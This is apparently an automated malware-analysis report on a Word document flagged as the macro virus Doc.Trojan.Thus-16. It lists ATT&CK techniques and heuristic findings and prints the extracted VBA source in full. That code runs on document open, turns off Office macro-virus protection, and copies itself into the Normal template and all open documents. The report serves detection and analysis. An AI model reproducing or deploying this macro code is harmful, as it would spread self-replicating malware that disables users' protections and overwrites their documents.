MALICIOUS
148
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1140 Deobfuscate/Decode Files or Information
T1553.005 Quarantine
The sample contains VBA macros that are designed to disable macro security settings and replicate themselves across documents and the Normal template. This behavior is indicative of a macro-based malware that aims for persistence and evasion. The ClamAV detection 'Doc.Trojan.Thus-16' further supports the malicious classification.
Heuristics 4
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ClamAV: Doc.Trojan.Thus-16 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Thus-16
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
On Error Resume Next Application.Options.VirusProtection = False If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Mat1'" Then -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long Private Sub Document_Open() 'Mat1'
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1902 bytes |
SHA-256: 8d8ba71c3a08c7fbe87b79ab61cac4f5325348973bae677adf2be66816c3491f |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long Private Sub Document_Open() 'Mat1' On Error Resume Next Application.Options.VirusProtection = False If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Mat1'" Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, _ NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines End If If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines _ 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines _ (1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) End If If NormalTemplate.Saved = False Then NormalTemplate.Save For k = 1 To Application.Documents.Count If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Mat1'" Then Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.DeleteLines _ 1, Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines End If If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.InsertLines _ 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines _ (1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) End If Next k End Sub ' |
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